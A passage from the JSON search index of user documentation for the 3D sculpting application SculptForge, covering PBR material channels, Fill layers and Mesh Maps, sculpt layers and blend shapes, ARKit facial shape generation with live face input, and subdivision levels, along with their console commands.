channels","t":"Paint layers (Texture painting) hold every channel. In Tool > Paint Layers, each layer row gets a row of channel chips (BC, R, M, N, H, AO, E, Op): Click a chip to turn that channel of the layer on or off. A rust layer can carry colour and roughness but leave metallic alone; a scratches layer can affect only the normal. Right-click a chip for the channel's blend mode and opacity. The ten paint-layer blend modes work per channel (Multiply on roughness halves it where you paint, Screen brightens AO...). The Normal channel adds Normal Combine, which lays the layer's normal detail onto the normals below instead of replacing them. A chip with a * uses a blend mode other than Normal or less than full opacity. The layer's own opacity, visibility and lock apply to all its channels. Merge down and Flatten keep the look of every channel. Duplicate copies a layer with its channels."},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"the-pbr-viewport","h":"The PBR viewport","t":"Render > Materials > Viewport Shading switches the view between Lit Sphere (the default, made for reading forms while sculpting) and PBR, which lights the material channels the way game engines and renderers do: rough surfaces spread the light, metals reflect the environment in their own colour, painted height and normals catch the light, emissive glows. PBR viewport, Photo Studio: gold metal and a raised rough red stroke Environment: Studio (made by SculptForge), Photo Studio, Small Studio and Outdoor Sky (free CC0 photographs from Poly Haven). HDR images (.hdr, .exr) in the folders listed in the SCULPTFORGE_HDRI_PATH environment variable are added to the list. Exposure in stops, Rotation of the environment, and the Tone map: ACES (filmic contrast), AgX (softer, keeps bright colours from going flat), Reinhard or None. Show environment puts the environment behind the model, with a Blur. Roughness and Metallic apply to Parts without a material texture (their colour comes from vertex paint or the base colour), so you can judge a sculpt as metal or clay too. Cavity darkens the sculpt's creases a little so fine detail reads under even light; 0 is plain PBR. The environment behind the model: Outdoor Sky with the AgX tone map The view stays as fast as Lit Sphere: lighting is precomputed per environment (on a worker thread when you switch), and only the pixels on screen pay for it. A 20.9-million-triangle Part draws in about 8 ms in PBR next to about 6 ms with Lit Sphere on an Apple M1 Pro. The settings are saved with the project (viewport_shading mode=pbr environment=outdoor_sky exposure=0.5 tone_map=agx)."},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"see-one-channel-on-its-own","h":"See one channel on its own","t":"Tool > Texture Map > Normal view opens a list: pick Solo Roughness (or any enabled channel) and the model shows just that channel, in grey for roughness, metallic, height, AO and opacity, as colours for the normal (with the height's normal in it) and in colour for emissive. Painting updates it live. Pick Normal view to go back. The viewport doesn't yet render the channels together as a lit PBR material; the solo view is how you check them for now."},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"height-and-normals","h":"Height and normals","t":"Height is stored with 16 bits, so slow ramps don't band. Its slope becomes a normal that is combined onto the Normal channel (Normal Combine) wherever a normal is shown or exported, so painting height also gives the shading detail. texture_channels height_normal_strength=4 sets how steep that normal is (0: height adds no normal)."},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"carrying-channels-through-geometry-changes","h":"Carrying channels through geometry changes","t":"Auto UV, Voxel Remesh, Quad Remesh and merging Parts move every channel and every layer's channels onto the new UVs, as they do the colour. A part without a channel takes that channel's default when Parts merge."},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"projects","h":"Projects","t":"Projects with material channels are saved as format 7 (SculptForge 0.10 and later opens them). A project without material channels is still saved as format 6, so older versions keep opening it. Older projects open as they did."},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"commands","h":"Commands","t":"Command What it does texture_channels enable=roughness,metallic,normal Turn channels on (disable=... off; no arguments lists them) paint_material roughness=0.2 metallic=1 color=c0c0c8 Set the brush material; channels=all / channels=roughness say exactly what it paints texture_layer_channel channel=normal blend=normal_combine A layer's channel settings (enabled, blend, opacity; layer or index) channel_view channel=roughness Solo a channel in the viewport (off to go back) export_maps preset=unreal folder=... Write the maps (Export presets) viewport_shading mode=pbr environment=photo_studio exposure=0.3 The PBR viewport (mode=lit_sphere to go back; rotation, tone_map, background, blur, roughness, metallic, cavity)"},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"limitations","h":"Limitations","t":"Fill layers, their mask generators, Mesh Maps and Material Recipes have their own chapter: Fill layers, Mesh Maps and Material Recipes. One texture per Part (UDIM tiles bake as files, Baking, but paint goes into one texture). Memory: colour, roughness, metallic, height and AO on Base plus three layers, each with a few big strokes, take about 370 MB at 4K and 1.5 GB at 8K (most of it the colour layers); a layer painted everywhere adds about 200 MB of channels at 4K and 800 MB at 8K. Edit > Preferences > Performance shows the numbers for your scene. Paint at 4K unless you need 8K. Export Maps takes a few seconds at 4K and about ten at 8K (PNG compression)."},{"p":"fill-layers.html","c":"Fill layers, Mesh Maps and Material Recipes","a":"","h":"Fill layers, Mesh Maps and Material Recipes","t":"A Fill layer lays a material over the whole Part, through a mask that you build from effects instead of painting it by hand: worn paint on the edges, dirt in the crevices, dust on the surfaces that face up. The mask reads the Part's Mesh Maps (its ambient occlusion, curvature, thickness and more, baked on its UVs), so the wear lands where the form says it should, and it moves with the form: sculpt a new crease and the paint chips along it a moment later. Material Recipes are ready-made stacks of Fill layers you can lay on any Part. Painted Edges on a sculpted sphere: the paint has chipped away along the creases Fill layers live in Tool > Paint Layers next to your paint layers, on a Part with a texture (Texture painting). Turn on Render > Materials > Viewport Shading > PBR to see the metal, the roughness and the bumps as they will look in a game engine (Material painting)."},{"p":"fill-layers.html","c":"Fill layers, Mesh Maps and Material Recipes","a":"lay-a-material-recipe","h":"Lay a Material Recipe","t":"Give the Part UVs and a texture (Tool > Texture Map > Auto UV, then New Texture). In Tool > Paint Layers, open Material Recipe and pick one: Worn Metal: dull steel, polished bright on the edges, grime in the creases. Painted Edges: painted metal with the paint chipped off its edges. Dirt and Dust: dirt packed in the crevices and pale dust on top, to lay over any material. Rusted Iron: dark iron with rust spreading from the crevices. The recipe adds its Fill layers on top of your layers, turning on the material channels it needs. The first time, the Part's Mesh Maps are baked in the background (a progress bar shows); the layers fill in when they are ready. Every layer of the recipe stays editable, and Undo removes the whole recipe in one step."},{"p":"fill-layers.html","c":"Fill layers, Mesh Maps and Material Recipes","a":"make-a-fill-layer","h":"Make a Fill layer","t":"+ Fill Layer adds a Fill layer in the current colour, covering everything. With it active, the panel shows: Colour and the channels it lays down (BC base colour, R roughness, M metallic, H height), with a slider for each value. Mask: the effects, top to bottom. Each one has a switch, a remove button and its own settings; from the second one on, a blend mode says how it combines with the effects above it (multiply, add, subtract, min, max, screen, replace). Add mask effect adds one at the bottom. The Fill layer panel: colour, channels and the mask effects with their settings"},{"p":"fill-layers.html","c":"Fill layers, Mesh Maps and Material Recipes","a":"mask-effects","h":"Mask effects","t":"Effect What it does Reads Edge Wear Convex edges and ridges, where things get rubbed and chipped Curvature Dirt Crevices, creases and corners, where dirt collects Ambient occlusion, curvature Gradient Along a direction across the Part (e.g. darker toward the bottom) Position Thickness Thin parts: ears, fins, edges of a blade Thickness Light Direction Surfaces facing a direction: dust and snow on top, moss on one side World normal Noise Fractal noise in 3D, so it has no seams at UV island borders Position Paint A mask you paint by hand (below) Levels Input and output range and gamma of the mask so far Blur Softens the mask so far (within UV islands only) Invert Flips the mask so far Fill A constant value The generators (the first five) have the same settings: Level (how much of the surface they cover), Softness (how wide the transition is), Break-up (how much noise roughens the edge of the mask) and Noise size (as a fraction of the Part's size)."},{"p":"fill-layers.html","c":"Fill layers, Mesh Maps and Material Recipes","a":"paint-a-mask","h":"Paint a mask","t":"Add a Paint effect, keep the Fill layer active and paint on the model with the Paint brush: you paint the layer's mask (white adds, Alt removes), and the layer updates as you paint. Strokes undo like any stroke. Combine it with generators: for example Edge Wear, then Paint with Subtract to keep an edge clean by hand."},{"p":"fill-layers.html","c":"Fill layers, Mesh Maps and Material Recipes","a":"mesh-maps","h":"Mesh Maps","t":"Mesh Maps are the Part's own surface, baked on its UVs at its texture's size: ambient occlusion, curvature (convex edges bright, creases dark), thickness, position (16-bit), world normal and ID (a colour per face group). Fill layers read them; you don't have to look at them. The line under the Fill buttons says what is baked. Bake bakes them again in full (after changing the UVs, for example: that happens by itself when a Fill layer needs them). Baking runs on every core in the background. Live (on by default): after each stroke, only the tiles of the texture near what you sculpted are baked again, from the triangles within reach of the change, and the Fill layers re-evaluate those tiles. The result is the same as baking everything again (it is tested texel for texel), in a fraction of the time: on a test Part with 82,000 triangles and 2K maps, a full bake takes about 10 seconds and a local change about half a second. Turn Live off to keep the maps as they are while you sculpt. To bake maps as image files for other programs, use Tool > Bake (Baking): it also bakes from a Part's top subdivision level onto its lowest, and to UDIM tiles."},{"p":"fill-layers.html","c":"Fill layers, Mesh Maps and Material Recipes","a":"save-your-own-recipe","h":"Save your own recipe","t":"A recipe is a small text file (.sfmaterial) listing the Fill layers, their materials and masks. Save the active Part's Fill layers with material_recipe action=save name=\"My Rust\" path=my_rust.sfmaterial and lay it on another Part with material_recipe path=my_rust.sfmaterial. The built-in recipes are files of the same kind in the source code's assets/materials folder."},{"p":"fill-layers.html","c":"Fill layers, Mesh Maps and Material Recipes","a":"projects","h":"Projects","t":"Fill layers are saved with the project (format 7): their settings and painted masks, and their last result, so older versions open the project with the layers showing as ordinary paint layers. Mesh Maps are not saved; they are baked again when a Fill layer needs them."},{"p":"fill-layers.html","c":"Fill layers, Mesh Maps and Material Recipes","a":"commands","h":"Commands","t":"Command What it does material_recipe name=worn_metal Lay a recipe on the active Part (action=list, action=save path=..., path=file) fill_layer generator=edge_wear color=#e0e0e8 metallic=1 level=0.6 Add a Fill layer (action=add is the default) fill_layer action=effect generator=dirt blend=add Add a mask effect to the active Fill layer (effect=1 level=0.4 edits one) fill_layer action=remove_effect effect=1 Remove a mask effect fill_layer action=set roughness=0.3 Change the layer's material mesh_maps Bake the Mesh Maps now (action=info, action=clear, action=live live=false)"},{"p":"layers.html","c":"Sculpt layers and blend shapes","a":"","h":"Sculpt layers and blend shapes","t":"Sculpt layers hold changes on top of the base mesh, each with its own weight: a smile, a blink, a corrective shape or a variation you want to dial in and out. Because a layer is a set of per-vertex offsets, it exports straight to game engines and DCC tools as a blend shape (morph target). This chapter covers creating, sculpting into, weighting, playing and exporting layers."},{"p":"layers.html","c":"Sculpt layers and blend shapes","a":"how-layers-work","h":"How layers work","t":"Each layer stores how far every vertex moves from the base. The shape you see is the base plus every layer times its weight. New strokes go into the active layer, or into the base mesh when Base mesh is selected. Layers belong to a Part: each Part has its own list of layers. A weight of 0 turns a layer off, 1 shows it as sculpted. Scripts can also set negative weights or weights above 1 to exaggerate a shape. Layers work on every subdivision level: see Layers and subdivision levels. Layers survive subdividing, decimating and LOD chains. A voxel remesh bakes them into the surface (the layers are gone afterwards). Note: Sculpt layers are not the Layer brush. The Layer brush raises the surface to a fixed height; sculpt layers are the blend-shape stack described here."},{"p":"layers.html","c":"Sculpt layers and blend shapes","a":"the-layers-sub-palette","h":"The Layers sub-palette","t":"Open Tool > Layers in the right tray. The Layers sub-palette with a base mesh and two blend shapes From top to bottom: Base mesh: select it to sculpt the base shape. One block per layer: a radio button with the layer's name (select it to sculpt into that layer), Play, X (delete) and a weight slider from 0 to 1. A name field and + Add at the bottom. The Layers list highlights the active layer; in the Classic layout the title strip also shows it (Layer Smile, or Layer Base)."},{"p":"layers.html","c":"Sculpt layers and blend shapes","a":"add-a-layer-and-sculpt-into-it","h":"Add a layer and sculpt into it","t":"Type a name in the field at the bottom of Tool > Layers, for example Smile or BlinkL. Click + Add (or press Enter in the field). The new layer becomes the active one. Sculpt. Every stroke goes into the layer until you select another layer or Base mesh. A layer whose weight is 0 can't be sculpted into: SculptForge tells you to raise the weight first. Tip: Name layers the way your engine or rig expects (jawOpen, BlinkL): the names become the blend shape and morph target names in exported files. For a face, Tool > Facial Shapes makes all 52 ARKit shapes for you: see Facial shapes and live face."},{"p":"layers.html","c":"Sculpt layers and blend shapes","a":"adjust-and-preview-weights","h":"Adjust and preview weights","t":"Drag a layer's weight slider to blend it in and out. Play animates the layer from 0 to 1 and back, over and over, so you can judge the motion. Click Stop to end it; the weight returns to 1. Starting a stroke also stops playback. Weights are saved with the project and used by exports that keep weights (USD writes the current weights)."},{"p":"layers.html","c":"Sculpt layers and blend shapes","a":"delete-a-layer","h":"Delete a layer","t":"Click X next to the layer. Its offsets are removed from the mesh and the base mesh becomes the active target. Deleting a layer is undoable."},{"p":"layers.html","c":"Sculpt layers and blend shapes","a":"layers-and-subdivision-levels","h":"Layers and subdivision levels","t":"With subdivision levels a layer works the way 3D Layers do: record it at the top level for the fine detail of an expression, and it stays with the Part whatever level you work on. Each layer has its own detail on every level. Step down with Lower Res (Shift+D) and a lower level shows the broad part of the layer, exactly as it would show the same strokes made in the base. Step back up and the layer is there as you recorded it, to the last vertex. Weights are shared by all levels. Turn a layer off (weight 0) or blend it at a low level and the top shows the same when you go back up; the slider and Play work at every level. Sculpt into a layer at any level. At a low level a stroke into a layer makes a broad change that the higher levels follow smoothly; the detail recorded above it stays. A layer added at a low level shows on every level above it too. Reshape the base at a low level (or turn it with the Gizmo) and each layer's detail rides on the new shape: its offsets turn with the surface instead of pointing the old way. Divide carries the layers to the new level. Reconstruct Subdiv keeps them, exact at the top. Del Lower and Del Higher keep the current level's layers as they are. Deleting a layer removes it from every level. Undo steps back through strokes, level changes and divisions with their layers. Projects keep every level's layers. Exports write the current level with its layers as blend shapes, so export from the top for the game mesh; subdiv_export path=face_low.glb level=1 writes the base cage with its blend shapes instead. The tools that rebuild the mesh (Voxel Remesh, Quad Remesh, Decimate, Subdivide) work on the current level and drop the levels, as described in Subdivision levels; Voxel Remesh and Quad Remesh bake the layers into the surface."},{"p":"layers.html","c":"Sculpt layers and blend shapes","a":"export-blend-shapes","h":"Export blend shapes","t":"Format What layers become glTF / GLB (File > Export GLB..., Ctrl+E) Morph targets FBX Blend shapes USD / USDZ UsdSkel blend shapes, with their current weights Send to Unreal / Export FBX for Unreal A skeletal mesh with morph targets LOD chain Blend shapes are kept on every LOD Project (.sfproj) Everything: layers, weights and the active layer OBJ, PLY, STL The current blended shape only Importing works the other way: glTF morph targets and FBX or USD blend shapes open as sculpt layers. See Exporting."},{"p":"layers.html","c":"Sculpt layers and blend shapes","a":"scripting","h":"Scripting","t":"Command What it does layer_add name=Smile Add a layer and make it active layer_set_active index=0 Choose the layer strokes go into (-1 = base mesh) layer_set_weight index=0 weight=0.5 Set a layer's weight (negative or above 1 exaggerates) layer_remove index=0 Delete a layer Layers are addressed by index, starting at 0 for the top layer. layer_add name=jawOpen; stroke points=\"0,-0.3,1 0,-0.5,1\" brush=Inflate; export_glb path=head.glb"},{"p":"layers.html","c":"Sculpt layers and blend shapes","a":"see-also","h":"See also","t":"Parts Subdivide, remesh, decimate and LODs Exporting: glTF morph targets, FBX blend shapes, Send to Unreal"},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"","h":"Facial shapes and live face","t":"Generate Facial Shapes gives a sculpted head the 52 blend shapes Apple ARKit and Google's MediaPipe use for face capture (eyeBlinkLeft, jawOpen, mouthSmileRight and the rest), fitted to that head's own proportions. They are ordinary sculpt layers: you fix any of them by sculpting, test them with expression presets, export them as morph targets to a rig, a game engine or Blender, and drive them live, so the character makes your expressions. Tool > Facial Shapes, with the template head smiling"},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"what-you-need","h":"What you need","t":"A humanoid head (human or stylised) as the active Part, its face pointing at the front view (+Z) with Y up, as SculptForge's front view shows it. A bust with shoulders is fine. Separate Parts for the eyes, teeth and tongue, if the sculpt has them (see Parts). Nothing to download: the template head the shapes come from is built into SculptForge. To try it on a ready-made head, type new_head in the console (`): a life-size human head with a mouth and eye sockets, and its eyes as a second Part."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"generate-the-shapes","h":"Generate the shapes","t":"Select the head Part and open Tool > Facial Shapes. Click Generate Facial Shapes. It takes a second or two (more on millions of vertices). The status line says how well the template fitted: the fit error (as a share of the head's height; under 1% is good) and how much of the template's face found the sculpt. Tool > Layers now lists the 52 shapes, all at weight 0, so the sculpt looks unchanged. Generating again replaces the 52 layers (other layers stay). Undo brings back the previous ones, together with any fixes you had sculpted into them."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"options","h":"Options","t":"Symmetry: Auto makes each Left / Right pair exact mirror images when the sculpt is symmetric about X = 0; On always mirrors (a slightly asymmetric sculpt gets the average); Off keeps each side as fitted. Parts too: also give the other Parts the shapes they need (below)."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"how-it-works","h":"How it works","t":"SculptForge carries a template head with all 52 shapes: the ICT Face Model Light from ICT-FaceKit by the USC Institute for Creative Technologies, under the MIT licence (free for commercial work: studios can ship what it makes). Generating: Finds the face. Without landmarks it looks for the nose tip (the most forward point near the middle) and the head's height, then lines the template's face up with the sculpt's (rotation, scale and position). Wraps the template around the sculpt (non-rigid registration): the template is pulled onto the closest points of the sculpt, stiffly at first and then more and more loosely, so it takes the sculpt's shape without tearing. Transfers each shape with deformation transfer: each small piece of the template's surface moves in the shape the way it moves on the template, rebuilt on the fitted template. A wide face gets a wide smile, a long jaw a long jaw drop. Binds the sculpt to the fitted template: every vertex near the face follows the closest point of the template, so your sculpted detail (wrinkles, pores) rides along. Vertices away from the face (the back of a bust, the shoulders) don't move. Left and Right are the character's own: eyeBlinkLeft closes the character's left eye, which is on your right in the front view. That is what ARKit and MediaPipe mean."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"landmarks","h":"Landmarks","t":"If the fit goes wrong (a strongly stylised face, a head turned a lot, a bust whose shoulders stick out further than the nose), guide it with landmarks: Landmarks found on the marble bust: eye corners, nose tip, mouth corners Click Auto Landmarks to see where the automatic fit puts the eye corners, the nose tip, the mouth corners and the chin. Click Place Landmarks. The canvas asks for each landmark in turn (right eye outer corner, right eye inner corner, left eye inner, left eye outer, nose tip, right mouth corner, left mouth corner, chin): click it on the sculpt. To move one, click its dot, then its new place. Click Generate Facial Shapes. With 3 or more landmarks the fit starts from them and pulls the template's landmarks onto yours; all 8 fit best. Clear removes them (the fit is automatic again). Landmarks aren't saved with the project."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"parts","h":"Parts","t":"With Parts too on, the other visible Parts get shapes by their names: Part name contains It gets eye (not lash, brow or lid) the 8 eyeLook... shapes: each eye turns about its own centre (about 30 degrees sideways, 25 up or down). One Part may hold both eyes. teeth, tooth, gum or jaw the jaw shapes (jawOpen, jawLeft, jawRight, jawForward, tongueOut): the part below the bite moves with the lower jaw, the upper teeth stay. tongue the jaw shapes, and tongueOut pushes it out past the lips. anything else that sits on the face (brows, lashes, a beard, a moustache) the shapes that move the skin under it. Parts that aren't on the face get none. The eyes' shapes are rotations stored as blend shapes, so halfway (weight 0.5) an eye is a little smaller than a true rotation would leave it, as with any blend-shape eye. Rigs that turn eyes with bones can ignore those shapes."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"mouth-and-eyes-what-to-expect","h":"Mouth and eyes: what to expect","t":"An open or slit mouth (the lips separate surfaces, ideally with a mouth bag behind them) opens cleanly: jawOpen drops the lower lip and the chin, mouthFunnel and mouthPucker shape the lips. A closed mouth sculpted as one continuous surface can't open: the shapes that part the lips move the lower lip and stretch the skin between the lips like a membrane. Cut the mouth first (sculpt a slit, or start from new_head, which has a mouth bag), or sculpt the fix into jawOpen. Eyelids close over the eyeballs in eyeBlinkLeft / eyeBlinkRight when the eyes are a separate Part. Eyes sculpted into the head's own surface (one mesh) would be pulled along by the lids: split them into their own Part first (Split parts). mouthClose is meant to be used with jawOpen: it closes the lips while the jaw is open (the ARKit convention). On its own it pushes the lips through each other. tongueOut: the template has no tongue shape, so on the head it opens the jaw a little; a tongue Part moves out."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"fix-a-shape-by-sculpting","h":"Fix a shape by sculpting","t":"The shapes are a starting point, like a rigger's first pass. To fix one: In Tool > Layers, select its layer (the radio button with its name). Set its weight to 1 (its slider here or in Tool > Layers) and the other shapes to 0 (Neutral below). Sculpt: every stroke goes into that shape. Use X symmetry for a centre shape; for a Left / Right pair, fix one and regenerate with Symmetry on only if you haven't fixed the other side yet."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"face-test","h":"Face test","t":"Under Face test: Presets show common expressions built from the shapes: Neutral, Smile, Grin, Surprise, Anger, Sad, Disgust, Fear, Blink, Wink, Kiss, Aah, Ooh, Puff, Look left, Tongue out. Preset amount sets how strongly. Eyes, Brows, Jaw, Mouth, Cheeks & nose, Tongue open a slider per shape. A slider drives the shape of that name on every Part (the eyes turn with eyeLookUpLeft). Neither creates undo steps. The weights are saved with the project and written to exports (as the default pose)."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"all-52-shapes","h":"All 52 shapes","t":"Each shape at weight 1 on the template head (new_head) and on a real sculpture, \"Marble Bust 01\" by Rico Cilliers (Poly Haven, CC0), straight out of Generate Facial Shapes, without any fixes: Every ARKit shape on the template head Every ARKit shape on the marble bust"},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"live-face","h":"Live face","t":"face_weights sets shape weights from a JSON object, fast enough for a live feed (30 or more calls a second): face_weights json={\"jawOpen\":0.4,\"eyeBlinkLeft\":1,\"mouthSmileRight\":0.6} It changes only the vertices those shapes move, re-uploads only those to the graphics card, makes no undo step and doesn't mark the project as changed. Names not given keep their weight; unknown names are reported. The whole face message from a phone, {\"type\":\"face\",\"t\":...,\"weights\":{...},\"head\":[...]}, works as the JSON too. On a 700,000 vertex head whose every vertex is face, a frame that changes all 52 weights takes about 9 ms on an M1 Pro (most of it updating normals); heads with a body or shoulders change only the face. The phone link points your phone's camera at your face and sends this feed, so the character makes your expressions (see the phone link's own chapter). Anything else that produces ARKit or MediaPipe blendshape weights can drive it too: a script (Scripting and automation), the MCP server or the Python module."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"takes","h":"Takes","t":"A take is a recorded face feed: the phone link saves one as JSON frames, or write your own. Load Take... plays a take on the shapes, looping (Loop), with Play / Pause. Accepted: a JSON array of face messages, an object with a \"frames\" array, or JSON Lines (one message per line); \"t\" is in milliseconds. MediaPipe's \"blendshapes\": [{\"categoryName\": ..., \"score\": ...}] works too. Bake Take turns the loaded take into keyframes at 30 frames a second, kept in the project. Exports then carry the animation: GLB as a glTF animation of the morph target weights (Blender, three.js, Unity, Godot and Unreal play it), USD as time samples of the blend shape weights (Omniverse, Maya, Houdini, Blender). FBX exports the shapes but not the animation yet. Clear Baked Take removes it. From the console: face_take_play path=take.json, face_take_stop, face_take_bake path=take.json fps=30, face_take_clear."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"export-the-shapes","h":"Export the shapes","t":"The ARKit names are kept exactly in every format: Export The shapes become Animation (baked take) GLB (File > Export) morph targets, named in extras.targetNames glTF animation of the weights USD / USDZ UsdSkel blend shapes time samples on the SkelAnimation FBX (and Send to Unreal) blend shape channels; Unreal: morph targets on a skeletal mesh not yet Blender bridge (File > Blender > Send to Blender) shape keys, at their weights, on every object not yet Each Part exports as its own object with its own shapes (the eyes with their eyeLook shapes, the teeth with the jaw's). Apple's ARKit, Unreal's Live Link Face and most face-capture tools drive meshes by these names directly."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"commands","h":"Commands","t":"Command What it does face_shapes_generate [landmarks=] [symmetry=auto/on/off] [subtools=true] [level=N] Generate Facial Shapes on the active Part face_landmarks_detect the automatic landmarks, as the JSON landmarks= takes face_weights json= set shape weights (live) face_preset name=Smile [amount=1] show a preset face_take_play path= / face_take_stop play a take in the viewport (the app only) face_take_bake path= [fps=30] / face_take_clear bake a take for export / remove it new_head a new scene with the template head and its eyes"},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"subdivision-levels","h":"Subdivision levels","t":"On a Part with subdivision levels the shapes are made on the lowest level with at least 20,000 vertices (level= picks another), and the levels carry them up: at the top level the shapes bend your high-level detail along instead of flattening it."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"memory","h":"Memory","t":"Each shape is a full sculpt layer: 52 shapes add about 620 bytes per vertex (on top of what the mesh itself uses), so about 620 MB on a million-vertex head. Generate on a level of a million vertices or less and let the levels carry the shapes up."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"limits","h":"Limits","t":"The fit expects a humanoid head with the face pointing at the front view. Animals and creatures (the lion bust) fit poorly or not at all; landmarks help with stylised humans. Hair sculpted as part of the head moves with the brows and forehead; keep hair in its own Part. Landmarks are placed by hand or found by the fit itself; there is no image-based face detector."},{"p":"subdivision-levels.html","c":"Subdivision levels","a":"","h":"Subdivision levels","t":"Subdivision levels let you sculpt one model at several resolutions: block in the big forms on a light version of the mesh, add pores and wrinkles on a dense one, and go back down to change the silhouette without losing the detail. Every Part has its own levels. A cube cage, a middle level and the top level of the same sculpt Everything is in Tool > Geometry: Control Shortcut What it does Divide Ctrl+D Adds a level above the highest one and steps to it Smt Smooths the next Divide (on by default) Lower Res Shift+D Steps one level down Higher Res D Steps one level up SDiv slider Steps to any level (1 is the base cage) Del Lower Deletes the levels below the current one Del Higher Deletes the levels above the current one Reconstruct Subdiv Finds a lower level for a mesh that was subdivided elsewhere Under the buttons the palette says where you are (\"SDiv 3 of 5\") and how many triangles the base and the top have. The Part list shows the level of every Part that has them (\"SDiv 3/5\")."},{"p":"subdivision-levels.html","c":"Subdivision levels","a":"divide","h":"Divide","t":"Divide (Ctrl+D) adds a level with four times the polygons. The lower levels stay, so you can step back down at any time. Quads stay quads. A mesh with quads is divided with Catmull-Clark subdivision: each quad becomes four quads, and a triangle among them becomes three quads. A mesh of triangles only (a sphere from New Sphere, a scan) is divided with Loop subdivision: each triangle becomes four. Smt (next to Divide) smooths the new level, rounding off the shape. Turn it off to divide flat: the new level keeps the hard edges and flat faces of the one below, for hard-surface pieces. Divide always adds the level on top. If you are at a lower level it steps to the highest first. Mask, vertex paint, paint layers and UVs are interpolated onto the new level; face groups and hidden faces carry over; sculpt layers are divided with the shape. How far you can divide depends on your computer's memory: about 160 million triangles with 32 GB (each triangle of a divided model takes about 90 bytes, plus some room while dividing). Divide says so when the next level wouldn't fit. Tip: Start from a light mesh. A cube of 108 triangles divided five times is a smooth 110,000-triangle head-sized blob; a 25,000-triangle base divided four times is already 6.5 million."},{"p":"subdivision-levels.html","c":"Subdivision levels","a":"stepping-between-levels","h":"Stepping between levels","t":"Press Shift+D to step down and D to step up, or drag the SDiv slider. Each step is instant once you have visited a level; the first visit after a big edit lower down takes a moment on millions of triangles. What happens to your sculpting when you change level: Detail survives. Each level stores its detail as a small offset from the smoothed shape of the level below, measured along that surface (its normal and tangents). Stepping up and down without sculpting gives back exactly the same mesh. Big changes low, detail follows. Sculpt, move or inflate at a low level and step up: the higher levels follow the new shape and the wrinkles, pores and scales you sculpted on them ride along on top. Detail edits show up below. Sculpt at a high level and step down: the lower levels take on a softened version of the change, so the silhouette stays honest whichever level you look at. Fine detail is too small for a low level and only shows as a gentle swelling there."},{"p":"subdivision-levels.html","c":"Subdivision levels","a":"what-follows-the-levels","h":"What follows the levels","t":" When you change it at one level Shape Carried up as detail, softened down (see above) Sculpt layers Each layer has its own detail on every level, kept relative to the surface like the shape's: rotate or reshape a low level and a layer's wrinkles turn and bend with it. Weights apply to all levels. See Layers and subdivision levels Mask Copied down to the vertices below, interpolated up where it changed Vertex Paint and paint layers As the mask: paint at a low level for broad colour, at a high level for detail. Painting low only changes the higher levels where you painted Face Groups, hidden faces Copied down to the parent faces, inherited up by the faces they contain UVs Copied down and interpolated up Texture Shared by every level (it lives on the UVs) Clearing the mask, removing a layer or deleting the paint layers does it on every level."},{"p":"subdivision-levels.html","c":"Subdivision levels","a":"del-lower-and-del-higher","h":"Del Lower and Del Higher","t":"Del Lower deletes the levels below the current one: the current level becomes the new base cage (SDiv 1). Del Higher deletes the levels above, and the detail sculpted on them. Both are undoable. Deleting down to a single level leaves an ordinary mesh."},{"p":"subdivision-levels.html","c":"Subdivision levels","a":"reconstruct-subdiv","h":"Reconstruct Subdiv","t":"A model that was subdivided in another application (or exported from SculptForge at its top level) comes in as one dense mesh. Reconstruct Subdiv finds the mesh it was subdivided from and adds it as a new lowest level, keeping the dense mesh exactly as it was. Press it again for more levels. It works at the lowest level (SDiv 1). The mesh must be a regular subdivision: all quads from Catmull-Clark subdivision, or all triangles from Loop subdivision. Otherwise it says so and leaves the mesh alone. The vertices of the new lower level sit on the dense mesh's corner vertices. Tip: The Cube from Tool > Parts > Append is a regular quad grid, so Reconstruct Subdiv takes it down to a 3 x 3 cube in four steps."},{"p":"subdivision-levels.html","c":"Subdivision levels","a":"undo-projects-and-exporting","h":"Undo, projects and exporting","t":"Undo (Ctrl+Z) is one step per stroke at any level, and one step per level change, so undo walks back through your strokes and level changes in the order you made them. Divide, Del Lower, Del Higher and Reconstruct are single undo steps. Steps share the levels they didn't change, so they cost little memory. Projects (.sfproj) save every level of every Part and open at the level you saved at. They use project format 5 (sculpt-layer detail relative to the surface), so older SculptForge versions ask you to update before opening them. Projects saved with format 4 open as before and are converted as they load. Exports and Bridge write the current level. To write another one, step to it first, or use the subdiv_export command (subdiv_export path=base.obj level=1 writes the base cage of every visible Part, in any export format). LODs and Send to Unreal start from the current level too. Tools that rebuild the mesh (Voxel Remesh, Decimate, Quad Remesh, Subdivide, Delete hidden, merging and splitting Parts) work on the level you are on, including what you just sculpted there, and make a new mesh without levels: that level becomes the new base. The status line says so, e.g. Subdivision levels removed: SDiv 3 of 5 kept as the new base (undo restores them). Ctrl+Z brings every level back, at the level you were on. Merging and splitting Parts can't be undone, so step to the level you want to keep first, or save before. Note: Subdivide (in Tool > Geometry, below Divide) is still there: it replaces the mesh with a denser one and keeps no levels. Use Divide unless you want exactly that."},{"p":"subdivision-levels.html","c":"Subdivision levels","a":"commands","h":"Commands","t":"Every control is a command you can run in the console, from a script or over MCP (see Scripting): Command What it does subdiv_divide smooth=true Divide; smooth=false divides flat (Smt off) subdiv_level level=2 Step to a level (1 = base) subdiv_lower, subdiv_higher Lower Res, Higher Res subdiv_delete_lower, 